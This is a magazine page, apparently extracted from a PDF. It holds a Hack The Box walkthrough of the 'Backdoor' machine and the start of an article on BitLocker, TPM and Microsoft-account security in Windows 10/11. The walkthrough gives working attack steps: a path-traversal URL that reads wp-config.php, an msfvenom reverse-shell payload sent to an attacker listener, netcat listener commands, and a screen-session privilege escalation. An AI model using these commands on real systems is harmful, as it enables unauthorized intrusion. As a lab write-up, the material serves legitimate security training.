Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
12.37 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ВЗЛАМЫВАЕМ САЙТ НА WORDPRESS И ПРАКТИКУЕМСЯ В РАЗВЕДКЕ

Сегод­ ня­ мы с тобой на примере­

легкой­

по уровню­ сложности­

машины

Backdoor

с площад­ ки­ Hack The Box поупражня­

емся­

в простей­ ших­

 

атаках­ на

веб приложе­

ния­ .

Поищем уязвимые­

плагины­

для WordPress,

проэкс­ плу­ ати­ руем­

уязвимость­

типа

path

traversal, переберем­

информацию­

о про ­

цессах­ при помощи Burp и повысим при ­ вилегии­ в системе­ через пользователь­ ­ский скрипт.

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.125 backdoor.htb0

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Мы нашли­ два открытых­ порта­ :

22 — служба­ OpenSSH 8.2p1;

80 — веб сервер­ Apache 2.4.41.

SSH смело­ пропус­ каем­ , там делать нечего.

Посколь­ ку­ вначале­ у нас нет учетных­ данных­ , нет и смысла­ изучать­ службы­ , которые всегда­ требуют­ авториза­ ции­ (например­ , SSH). Единствен­ ное­ , что мы можем делать здесь, — перебирать­ пароли брутфорсом­ , но машины с HTB почти­ всегда­ можно­ пройти­ по другому­ . В жизни­ таких вариантов­ может не быть, к тому же есть шансы­ подобрать­ пароль или получить его при помощи социаль­ ной­ инженерии­ .

Изучим­ веб сервер­ . Nmap сразу­ показал, что там установ­ лен­ движок­

WordPress 5.8.1.

Главная­ страница­ сайта­

Кстати­ , ту же самую информацию­ (и даже чуть подробнее­ ) можем получить, проана­ лизи­ ровав­ сайт утилитой­ whatweb.

whatweb http://backdoor.htb0

Вывод­ программы­ whatweb

ТОЧКА ВХОДА

При тестирова­ нии­ сайтов­ на WordPress лучше­ всего­ использовать­ утилиту­ wpscan. С ее помощью можно­ обнаружить­ уязвимые­ версии­ самого WordPress, тем и плагинов­ , а также­ собрать­ список­ пользовате­ лей­ и переб ­ рать учетные­ данные­ . В общем, все, что нужно­ . Перед началом сканиро­ вания­ советую зарегистри­ ровать­ ся­ на официаль­ ном­ сайте­ и получить токен для доступа­ к API. Это бесплат­ но­ .

Чаще­ всего­ уязвимос­ ­ти присутс­ ­тву­ют в плагинах­ , поэтому­ я зарядил их перебор (опция -e ap) в агрессивном­ режиме (опция --plugins-detection aggressive), используя­ 100 потоков (опция -t 100).

wpscan --url http://backdoor.htb/ -e ap --plugins-detection

aggressive -t 1000

Обнаружен­ ные­ плагины­

Потратив­ несколь­ ко­ минут, мы получаем­ отчет, в котором отмечены­ два пла ­ гина. Об уязвимос­ тях­ ничего не сообщает­ ся­ , но в ebook-download не про ­ индексирован­ каталог, что позволя­ ет­ просмотреть­ его содержимое­ .

Содер­ жимое­ каталога­ ebook-download

Из файла­ readme.txt узнаем­ версию­ плагина­ — 1.1. Странно­ , ведь сканер­ отобразил­ 1.5.

Содер­ жимое­ файла­ readme.txt

Ищем известные­ уязвимос­ ­ти и экспло­ ­иты для ebook-download 1.1 и находим

PoC.

При пентесте­ лучше­ всего­ искать экспло­ иты­ в Google, посколь­ ку­ этот поис ­ ковик заглядыва­ ет­ и в личные­ блоги­ , и в самые разные­ отчеты­ . Ускорят­ дело специали­ зиро­ ван­ ные­ базы вроде­ Exploit-DB — там часто­ можно­ обнаружить­ подходящие­ варианты­ . Если ты работаешь­ в специали­ зиро­ ван­ ной­ ОС вроде­ Kali Linux, то эта база у тебя уже есть и для поиска­ можно­ использовать­ ути ­

литу searchsploit.

Описание­ экспло­ ита­

ТОЧКА ОПОРЫ

Уязвимость­ и экспло­ ­ит очень простые­ . Это path traversal, то есть возможность­ обращать­ ­ся к родительско­ ­му каталогу­ (../) при указании­ пути к файлу­ . Три таких шага, и мы выбираемся­ в корневую­ директорию­ WordPress, где можем прочитать­ файл с конфигура­ ­цией. Делается­ это одним запросом­ :

http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.

php?ebookdownloadurl=../../../wp-config.php0

Содер­ жимое­ файла­ wp-confg.php

Здесь хранят­ ся­ учетные­ данные­ для подклю­ чения­ к базе данных­ . Первая­ идея — попробовать­ эти учетные­ данные­ для логина по SSH (не вышло­ ) и доступа­ к панели админис­ три­ рова­ ния­ WordPress, расположен­ ной­ в каталоге­ /wp-admin/. Авторизо­ вать­ ся­ на сайте­ также­ не вышло­ .

Ошибка­ авториза­ ции­ WordPress

Тогда­ мы можем поискать­ другие­ интерес­ ные­ файлы­ и получить больше­ информации­ с сервера­ . Я использовал­ список­ с такими файлами­ и потратил­ много­ времени­ на их просмотры­ , ведь мы можем прочитать­ почти­ все, для чего хватает­ привиле­ гий­ . И ничего интерес­ ного­ , кроме­ файла­ /proc/

self/cmdline.

Содер­ жимое­ файла­ /proc/self/cmdline

Файловая­ система­ /proc — это специаль­ ­ная ФС, которая есть во многих­ современ­ ­ных UNIX-системах­ . В ней можно­ найти­ массу­ полезной­ информа ­ ции в тексто­ ­вом виде. Внутри­ каталога­ /proc — огромное число­ других­ каталогов­ с цифровыми­ названи­ ­ями. Имя каждого­ такого каталога­ соответс­ ­ твует­ идентифика­ ­тору работающе­ ­го в системе­ процес­ ­са (PID). А файл / proc/[pid]/cmdline содержит­ аргумен­ ­ты командной­ строки­ , с которыми­ был запущен процесс­ . Идентифика­ ­тор self указыва­ ­ет на текущий процесс­ .

После­ этой находки­ у меня возникла­ идея проверить­ аргумен­ ­ты коман ­ дной строки­ всех процес­ ­сов, вдруг какому то из них были переданы­ учетные­ данные­ . С помощью Burp Intruder можно­ перебрать­ идентифика­ ­торы. Это лег ­ ко сделать­ , указав­ Numbers в качестве­ типа нагрузки­ и промежу­ ­ток перебора­ от 0 до 10 000 с шагом 1.

Burp Intruder — Positions

Burp Intruder — Payloads

Резуль­ таты­ перебора­

Учетных­ данных­ не находим, зато отмечаем­ , что на порте­ 1337 запущен gdbserver. Мы не знаем­ версии­ , поэтому­ попробу­ ­ем найти­ просто­ самый новый экспло­ ­ит.

Первая­ же ссылка­ в Google наводит нас на скрипт, который эксплу­ ­ати­рует RCE-уязвимость­ в gdbserver 9.2. Чтобы­ воспро­ ­извести это, сгенери­ ­руем файл с нагрузкой­ при помощи MSFvenom:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.73 LPORT=4321

PrependFork=true -o rev.bin0

Затем­ с использовани­ ем­ netcat создадим­ листенер­ для приема­ бэкконнек­ та­ .

Обратный­ шелл — это подклю­ чение­ , которое активиру­ ет­ атакуемая­ машина, а мы принима­ ем­ и таким образом­ подклю­ чаем­ ся­ к ней, чтобы­ выполнять­ команды­ от лица пользовате­ ля­ , который запустил­ шелл. Для приема­ соеди ­ нения необходимо­ создать­ на локальной­ машине listener, то есть «слу ­ шатель».

Втаких случаях­ пригодит­ ­ся rlwrap — readline-оболоч­ ­ка, которая в числе­ прочего­ позволя­ ­ет пользовать­ ­ся историей­ команд. Она обычно­ доступна­

врепозитории­ дистри­ ­бути­ва.

Вкачестве­ самого листенера­ при этом можно­ использовать­ широко известный­ netcat.

rlwrap nc -lvp [port]0

Для этого­ выполним­ такую команду­ :

rlwrap -cAr nc -lvnp 43210

И запустим­ экспло­ ит­ .

Выпол­ нение­ экспло­ ита­

Бэкконнект­ от сервера­

Получа­ ­ем интерак­ ­тивную TTY-оболоч­ ­ку и читаем­ первый­ флаг — поль ­ зовательский­ .

python3 -c "import pty;pty.spawn('/bin/bash')"

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Для захвата­ флага­ рута нам понадобит­ ­ся повысить привиле­ ­гии в системе­ . Самые очевид­ ­ные шаги для этого­ — проверить­ настрой­ ­ки sudoers, приложе­ ­ ния с выставлен­ ­ным битом SUID, прослушива­ ­емые на локальном­ хосте­ порты­ и список­ запущенных­ приложе­ ­ний. Везет с последним­ пунктом­ . Мы находим работающий­ в системе­ пользователь­ ­ский скрипт.

Список­ запущенных­ процес­ сов­

На хосте­ каждую­ секунду­ запускает­ ся­ команда­ find:

find /var/run/screen/S-root/ -empty -exec screen -dmS root0

Если­ она находит процесс­ screen, то выполняет­ действие­ exec, что приведет­

к запуску­ screen в автоном­ ­ном режиме (причем­ запущенном­ от имени­ супер ­ пользовате­ ­ля). То есть мы можем запустить­ screen и подклю­ ­чить­ся ко вто ­ рому, запущенному­ командой­ find привиле­ ­гиро­ван­ному процес­ ­су.

export TERM=xterm0

screen -x root/root0

Это дает нам привиле­ гиро­ ван­ ный­ шелл.

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЗАЩИЩАЕМ КОМПЬЮТЕРЫ С WINDOWS 10

И ОСОБЕННО — С WINDOWS 11

Защитить­ компьютер­ с Windows не просто­ , а очень просто­ : несколь­ ­ко щелчков­ мышью — и системный­ раздел­ зашифрован­ BitLocker. Но может случить­ ­ся так, что взло мать этот компьютер­ будет еще проще­ : достаточ­ ­но узнать пароль от твоей­ учетной­ записи Microsoft, чтобы­ разбло­ ­киро­вать систему­ , несмотря­ на шифрование­ . Оче ­ редной­ шаг в борьбе­ щита и меча сделан­

в Windows 11: здесь использует­ ­ся аппарат­ ­ ный контроль­ безопасности­ , а взлом пароля при соблюдении­ определен­ ­ных условий­ будет не только­ совершенно­ бес ­ полезным­ , но и невозможным­ .

Олег Афонин

Эксперт по мобильной криминалистике компании «Элкомсофт» aoleg@voicecallcentral.com

Насколь­ ко­ безопаснее­ стала­ Windows 11 в сравнении­ с «десяткой­ » и почему? Можно­ ли обезопа­ сить­ Windows 10 штатными­ средства­ ми­ , не прибегая­

к VeraCrypt и подобным­ инстру­ мен­ там­ ? И для чего же, в конце­ концов­ , Windows 11 так нужен TPM?

Когда­ я начал разбирать­ ­ся в том, как именно­ , а главное­ — для чего в один ­ надцатой­ версии­ Windows используют­ ­ся модули TPM, я чуть не сломал­ голову. Традици­ ­онно для Microsoft документация­ существу­ ­ет, ее много­ , но написан ­ ное в ней далеко не всегда­ соответс­ ­тву­ет действи­ ­тель­нос­ти; ряд утвержде­ ­ ний (мы рассмот­ ­рим их ниже) вселяет­ ложную­ уверен­ ­ность в безопасности­ . Помнишь­ , сколько­ копий было сломано­ по поводу системных­ требова­ ­ний Windows 11? Теперь я готов поверить, что решение ограничить­ совмести­ ­ мость Windows 11 исключитель­ ­но системами­ , оборудо­ ­ван­ными TPM, было не волей маркетоло­ ­гов, а ультимату­ ­мом команды­ разработ­ ­чиков: «Или компьюте­ ­ры без TPM идут лесом, или мы умываем­ руки!»

ВКЛЮЧАЕМ BITLOCKER

Шифрование­ системно­ ­го раздела­ — первый­ , необходимый­ , но не всегда­ достаточ­ ­ный шаг к обеспечению­ безопасности­ системы­ . На безопасность­ зашифрован­ ­ных данных­ может повлиять­ такая неочевид­ ­ная на первый­ взгляд вещь, как способ­ входа­ в систему­ .

Примем­ за аксиому­ , что в твоем­ компьюте­ ре­ установ­ лен­ и активиро­ ван­

в настрой­ ­ках UEFI BIOS модуль TPM 2.0 или его аналог­ (Intel Platform Trust Technology или AMD frmware TPM). Чуть позже­ я расска­ ­жу о том, что можно­ сделать­ при его отсутствии­ , но пока рассмот­ ­рим работу относитель­ ­но сов ­ ременных­ систем­ .

В сети ходит много­ непроверен­ ­ной информации­ о законности­ или незакон ­ ности TPM. По слухам­ , ФСБ запреща­ ­ет модули TPM из за того, что те могут использовать­ ­ся для шифрования­ без закладок­ . Не буду утомлять­ тебя юри ­ дическими­ подробнос­ ­тями (составлен­ ­ная юристами­ докладная­ записка­ занимает­ несколь­ ­ко листов­ ), ограничусь­ лишь краткими­ выводами­ .

Во первых­ , на ввоз в страну­ аппарат­ ­ных модулей TPM требует­ ­ся нотифи ­ кация (то есть для импортеров­ действу­ ­ет разрешитель­ ­ный режим). Во вто ­ рых, использование­ TPM частны­ ­ми лицами внутри­ страны­ никаких законов не нарушает­ . Наконец, в третьих­ : эмуляция­ TPM вполне­ легально­ присутс­ ­тву ­ ет во всех процес­ ­сорах Intel Core с 8-го поколения­ , а также­ во всех процес­ ­ сорах с архитек­ ­турой AMD Zen и более новых. Использование­ соответс­ ­тву ­ ющих функций­ законным­ образом­ ввезен­ ­ных в страну­ комплек­ ­тующих никаких правил­ не нарушает­ .

Чтобы­ включить­ шифрование­ системно­ го­ диска­ , пользовате­ лям­ Windows 10 и 11 всех редакций­ за исключени­ ем­ домашней­ (Home) достаточ­ но­ открыть апплет BitLocker Drive Encryption в панели управления­ Windows. Далее нужно­ включить­ шифрование­ (для твердотель­ ных­ накопителей­ вполне­ достаточ­ но­ зашифровать­ только­ данные­ ; свобод­ ное­ место­ накопитель­ очищает­ самос ­ тоятельно­ по команде­ trim) и где то сохранить­ (или распечатать­ ) ключ вос ­ станов­ ления­ доступа­ . Шифрование­ происхо­ дит­ в фоновом режиме; через некоторое­ время­ данные­ будут зашифрованы­ , накопитель­ будет выглядеть­ следующим­ образом­ .

Зашиф­ рован­ ный­ накопитель­

ДЛЯ ЧЕГО НУЖЕН КЛЮЧ ВОССТАНОВЛЕНИЯ ДОСТУПА (BITLOCKER RECOVERY KEY)

Не хотелось бы в этой статье глубоко­ вдавать­ ся­ в подробнос­ ти­ механизма­ шифрования­ BitLocker (о нем можно­ прочитать­ , например­ , здесь. В двух сло ­ вах: именно­ ключ восста­ нов­ ления­ доступа­ поможет тебе разбло­ киро­ вать­ накопитель­ , если модуль TPM по какой то причине­ решит не отдавать­ сис ­ теме ключ.

В каких случаях­ TPM может «зажать» ключ? В принципе­ , это может про ­ изойти­ после­ любого обновления­ прошив­ ­ки либо BIOS самого компьюте­ ­ра или любого подклю­ ­чен­ного устройства­ (кроме­ USB). Еще при изменении­ аппарат­ ­ной конфигура­ ­ции (установил­ новую видеокар­ ­ту), при обновлении­ Windows или одного­ из драйверов­ , участву­ ­ющих в цепочке­ загрузки­ . Если такое событие произой­ ­дет, то цепочка­ загрузки­ нарушится­ (не совпадут­ вычисленные­ в регис­ ­трах PCR контроль­ ­ные суммы­ ) и TPM не отдаст операци­ ­ онной системе­ ключ, который нужен для разбло­ ­киров­ки диска­ . Как резуль ­ тат — при загрузке­ система­ попросит­ ввести­ код восста­ ­нов­ления доступа­ .

Система­ попросит­ ввести­ код восста­ нов­ ления­ доступа­

Посколь­ ­ку при использовании­ TPM другого­ метода разбло­ ­киров­ки диска­ по умолчанию­ не предус­ ­мотре­но, ключ восста­ ­нов­ления доступа­ остается­ единствен­ ­ным способом­ получить доступ­ к данным­ .

Почему­ же этого­ не происхо­ ­дит каждый­ раз, когда­ ты обновляешь­ ОС через Windows Update? Дело в том, что система­ знает­ об этой особен­ ­ности BitLocker и на время­ установ­ ­ки отключает­ защиту. Ровно­ то же самое ты можешь проделать­ вручную­ , восполь­ ­зовав­шись командой­ Suspend

protection.

Suspend protection

После­ этого­ ты можешь спокой­ но­ обновить­ BIOS, заменить видеокар­ ту­ или обновить­ прошив­ ку­ одного­ из устройств­ . После­ перезагрузки­ система­ вычислит­ новую цепочку­ загрузки­ , которая будет считать­ ся­ доверенной­ , а шифрование­ автомати­ чес­ ки­ включит­ ся­ .

КАКИЕ ЕСТЬ РИСКИ ПРИ ШИФРОВАНИИ BITLOCKER С ИСПОЛЬЗОВАНИЕМ TPM

Шифрование­ BitLocker достаточ­ ­но надежно­ , хотя использующий­ ­ся 128-бит ­ ный ключ вызывает­ некоторые­ сомнения­ в контек­ ­сте потенциаль­ ­ной уяз ­ вимости­ для квантовых­ компьюте­ ­ров. Если тебя это беспоко­ ­ит — включи­ 256- битное­ шифрование­ в настрой­ ­ках групповых­ политик, как показано­ на скрин ­ шоте. Сделать­ это необходимо­ до того, как диск будет зашифрован­ ; настрой­ ­ ка не влияет­ на уже созданные­ зашифрован­ ­ные диски­ .

Включение­ 256-битного­ шифрования­

Проверить­ , что получилось­ , можно­ командой­ manage-bde -status.

0

 

Volume C: [NVME]0

 

[OS Volume]0

 

Size:

930,40 GB0

BitLocker Version:

2.0c0

Conversion Status:

Used Space Only Encrypted0

Percentage Encrypted:

100,0%0

Encryption Method:

XTS-AES 2560

Protection Status:

Protection On0

Lock Status:

Unlocked0

Identification Field: Unknown0 Key Protectors:0

TPM0

Numerical Password 0

Еще один связан­ ­ный с BitLocker риск возника­ ­ет из за того, что модуль TPM выдаст ключ шифрования­ , а Windows автомати­ ­чес­ки смонтиру­ ­ет зашиф ­ рованный­ диск в процес­ ­се загрузки­ , если цепочка­ доверенной­ загрузки­

не была нарушена­ . Таким образом­ , к моменту­ , когда­ Windows запрашива­ ­ет твой пароль (или идентифика­ ­цию через Windows Hello), зашифрован­ ­ный диск уже смонтирован­ , а ключ шифрования­ … Он, в отличие­ от систем­ с macOS, оборудо­ ­ван­ных чипом T2, хранит­ ­ся в оператив­ ­ной памяти в чистом­ , незащи ­ щенном­ виде. Да, злоумыш­ ­ленник не сможет­ разбло­ ­киро­вать компьютер­ , не зная пароля от твоей­ учетной­ записи (или не восполь­ ­зовав­шись твоими­ биометричес­ ­кими данными­ для входа­ через Windows Hello), однако­ существу­ ­ ют способы­ извлечь ключ шифрования­ из оператив­ ­ной памяти. Впрочем­ , спо ­ собы эти настоль­ ­ко техничес­ ­ки сложные­ , что используют­ их крайне­ редко­ и только­ при рассле­ ­дова­нии громких­ дел.

 

Среди­ прочего­

 

Windows Hello может

работать

 

с датчиками­

отпечат­ ков­ пальцев­ и инфракрасны­

­

 

ми видеока­ мера­

ми­ . Чем то подобным­

оборудо­

­

 

ваны практичес­

ки­ все современ­

ные­

ноутбуки­

,

 

но никто­ не запреща­

ет­ тебе подклю­ чить­

такое

 

устройство­

и к дескто­ пу­ .

 

 

 

 

 

Наконец­ , в самих модулях TPM (а точнее­ , в коммуника­ цион­ ном­ протоко­ ле­ , по которому­ этот модуль общается­ с системой­ ) существу­ ет­ даже не уяз ­ вимость, а огромная зияющая дыра: данные­ , в том числе­ ключ к зашифрован­ ­ ному диску­ , передаются­ в открытом­ виде, и их достаточ­ но­ просто­ перех ­ ватить. Подробнее­ об этом читай в нашей статье «Страшный­ сон TPM. Взла ­ мываем­ защиту модулей TPM и шифрование­ BitLocker».

Впрочем­ , эта уязвимость­ срабаты­ вает­ только­ при использовании­ внешних­ модулей TPM, которые подклю­ чают­ ся­ к материнской­ плате­ через специаль­ ­ ный разъем­ . Эмулято­ ры­ Intel PTT и AMD fTPM этой уязвимос­ ти­ не подверже­ ны­ и, соответс­ твен­ но­ , обладают­ более высоким в сравнении­ с отдельными­ модулями­ уровнем­ безопасности­ .

Все перечисленные­ риски­ действи­ тель­ но­ существу­ ют­ , но в реальнос­ ти­ их влияние­ на безопасность­ минимально­ : при включении­ шифрования­ сис ­ темного­ диска­ файлы­ подкачки­ и гибернации­ шифруют­ ся­ вместе­ с осталь ­ ными данными­ , а извлечь ключ шифрования­ из модуля TPM невозможно­ , как невозможно­ его перехватить­ при использовании­ эмуляции­ TPM. Если для входа­ в систему­ ты используешь­ локальную­ учетную­ запись, пароль от которой сложный­ , уникаль­ ный­ , нигде­ более не использует­ ся­ и не хранит­ ся­ , то и подобрать­ его не представ­ ляет­ ся­ возможным­ (напомню­ , чтобы­ взломать­ пароль NTLM, нужно­ для начала вытащить базу данных­ SAM, которая зашиф ­ рована вместе­ с остальными­ данными­ , и подобрать­ ся­ к ней, не разбло­ киро­ ­ вав сначала­ зашифрован­ ный­ диск, не удастся­ ).

Совсем­ иначе­ выглядит­ уязвимость­ , связан­ ­ная с новым типом учетных­ записей Microsoft Account, которые появились­ еще во времена­ Windows 8.

ВЧЕМ ПРОБЛЕМА С УЧЕТНЫМИ ЗАПИСЯМИ MICROSOFT?

ВWindows 10 предус­ ­мотре­но несколь­ ­ко типов учетных­ записей, из которых

мы рассмот­ рим­ две: локальную­ учетную­ запись (Windows account) и учетную­ запись Microsoft (Microsoft account). По поводу обычных­ учетных­ записей все ясно: она безопасна­ ровно­ настоль­ ко­ , насколь­ ко­ безопасен­ (сложен­ и уни ­ кален) придуман­ ный­ тобой пароль. А вот если использует­ ся­ учетная­ запись Microsoft, дело принима­ ет­ куда более интерес­ ный­ оборот­ .

 

Отмечу­

еще один факт. Для портатив­

ных­

устрой ­

 

ств с BitLocker Device Encryption ОС автомати­

чес­ ­

 

ки создает­

ключ восста­ нов­ ления­

при шифровании­

 

системно­

го­ раздела­

. Ключ восста­ нов­ ления­

будет

 

также­

автомати­

чес­ ки­ загружен­

в учетную­

запись

 

Microsoft

первого­

пользовате­

ля­ , который войдет­

 

в систему­

на этом компьюте­ ре­ с правами­

адми ­

 

нистра­ тора­

и использует­

 

учетные­

данные­

 

Microsoft

для

авториза­

ции­ . Этот ключ может

 

получить

любой

пользователь­

,

просто­

 

войдя­

 

в учетную­

 

запись

Microsoft

 

от

твоего­

 

имени­

 

и

перейдя­

 

по

следующей­

 

ссылке­ :

https://account.microsoft.com/devices/recoverykey.

Как работают­ и для чего нужны­ учетные­

записи Microsoft? В Windows 10 (а так ­

же в Windows 8 и 8.1) для входа­ в систему­

можно­

использовать­

не только­

локальную­

учетную­

запись, но и учетную­

запись Microsoft Account — ту самую,

через которую ты получаешь­

доступ­

 

к

онлайновому­

почтовому­

сервису­

Hotmail, мессен­ дже­ ру­ Skype,

облачному­ хранили­

щу­

 

OneDrive,

 

подписке­

на Ofce 365 и многим­

другим­

сервисам­

Microsoft. В последу­

ющих­

выпусках­

Windows учетным­

записям Microsoft Account придавал­

ся­ все больший­

вес,

а установ­ ка­ ОС без нее станови­ лась­ все более сложной­ . В младших­ редак ­ циях Windows использование­ локального­ логина и пароля и вовсе­ ограничи­ ­ ли: настро­ ить­ систему­ при установ­ ке­ можно­ исключитель­ но­ с использовани­ ­ ем онлайновой­ учетной­ записи.

Первый­ вход в учетную­ запись Microsoft Account требует­ наличия активно ­ го соединения­ с интернетом­ . Данные­ учетной­ записи проверя­ ­ются Microsoft на удален­ ­ном сервере­ , после­ чего хеш от пароля сохраня­ ­ется (кешируется­ ) на компьюте­ ­ре; это позволя­ ­ет входить­ в учетную­ запись, когда­ соединение­ отсутству­ ­ет. У такого поведения­ есть и обратная сторона­ : если системный­ диск не зашифрован­ , то хеш можно­ извлечь из соответс­ ­тву­ющей базы данных­

на компьюте­ ре­ , после­ чего восста­ новить­ оригиналь­ ный­ пароль через быс ­ трую офлайновую­ атаку­ .

Подчер­ ­кну, что восста­ ­нав­лива­ется именно­ пароль от учетной­ записи Microsoft Account, с помощью которого­ можно­ авторизо­ ­вать­ся не только­ на атакуемом­ компьюте­ ­ре, но и в онлайновых­ сервисах­ Microsoft, получив, таким образом­ , доступ­ к переписке­ в Hotmail, чатам Skype, файлам­ OneDrive и другой­ информации­ . Более того, в учетных­ записях Microsoft хранят­ ся­ в том

числе­ и депонирован­

ные­

ключи­ BitLocker, использующиеся­

для восста­ нов­ ­

ления доступа­

к зашифрован­

ным­

 

дискам­ . Добавлю­ , что скорость­

атаки­

на пароли Windows исключитель­

но­ высокая, а это позволя­

ет­ (в отсутствие­

шифрования­

) в разумные­

сроки­ восста­ нав­ ливать­

даже достаточ­

но­ сложные­

пароли. Когда­ то давно­ я уже писал об этой уязвимос­

ти­ в статье «Microsoft

Account: удобство­ или дыра в безопасности­

?».

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Исполь­

зование­

двухфактор­

ной­

аутентифика­

 

ции­

может защитить содер ­

жимое онлайновой­

 

учетной­

записи, однако­ пароль от учетной­

 

записи

Microsoft, извлечен­ ный­ , например­

, из твоего­ телефона­ или с другого­

компь ­

ютера­ , шифрование­

 

 

на котором не включено­

, позволя­

ет­ разбло­ киро­

вать­

и твой компьютер­

с TPM, даже если его системный­

диск зашифрован­

.

 

 

 

 

 

 

 

Разработ­

чики­

Microsoft предложили­

дополнитель­

ные­

способы­

авториза­

­

ции — в первую­

очередь­

вход по PIN-коду (о нем будет чуть ниже). Однако­

даже включение­

логина по PIN-коду не решает­ ни одной из двух проблем­ :

возможнос­

ти­ восста­ нов­ ления­

оригиналь­

ного­

пароля от онлайновой­

учетной­

записи через быструю­

офлайновую­

атаку­ (если системный­

диск компьюте­ ра­

не зашифрован­

)

 

и

возможнос­

ти­ разбло­ киро­

вать­

зашифрован­

ный­

диск

паролем от учетной­

записи Microsoft, если его удалось­

узнать, подсмот­

реть­

или извлечь с другого­

 

устройства­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Подводя­

итог, проблемы­

с логином в Windows при использовании­

учетной­

записи Microsoft можно­ сформулиро­

вать­

следующим­

 

образом­ .

 

 

 

 

 

 

 

 

 

 

1.Если­ злоумыш­ ­ленник получит доступ­ к любому устройству­ , на котором хра ­ нится­ пароль от учетной­ записи Microsoft, то с этим паролем он сможет­ залогинить­ ­ся в твой компьютер­ с Windows 10 — даже если в компьюте­ ­ре есть модуль TPM, а системный­ диск зашифрован­ BitLocker.

2.Если­ на одном из компьюте­ ­ров с Windows 10, на котором присутс­ ­тву­ет твоя учетная­ запись Microsoft, системный­ диск не будет зашифрован­ , то пароль от онлай­ ­новой учетной­ записи может быть восста­ ­нов­лен очень быстрой­ атакой­ в режиме офлайн.

Именно­ эти проблемы­ разработ­ чики­ Microsoft решили исправить­ в Windows 11, добавив новый тип учетных­ записей Microsoft, пароль для входа­ в которые не требует­ ся­ .

ЧТО ИЗМЕНИЛОСЬ В WINDOWS 11

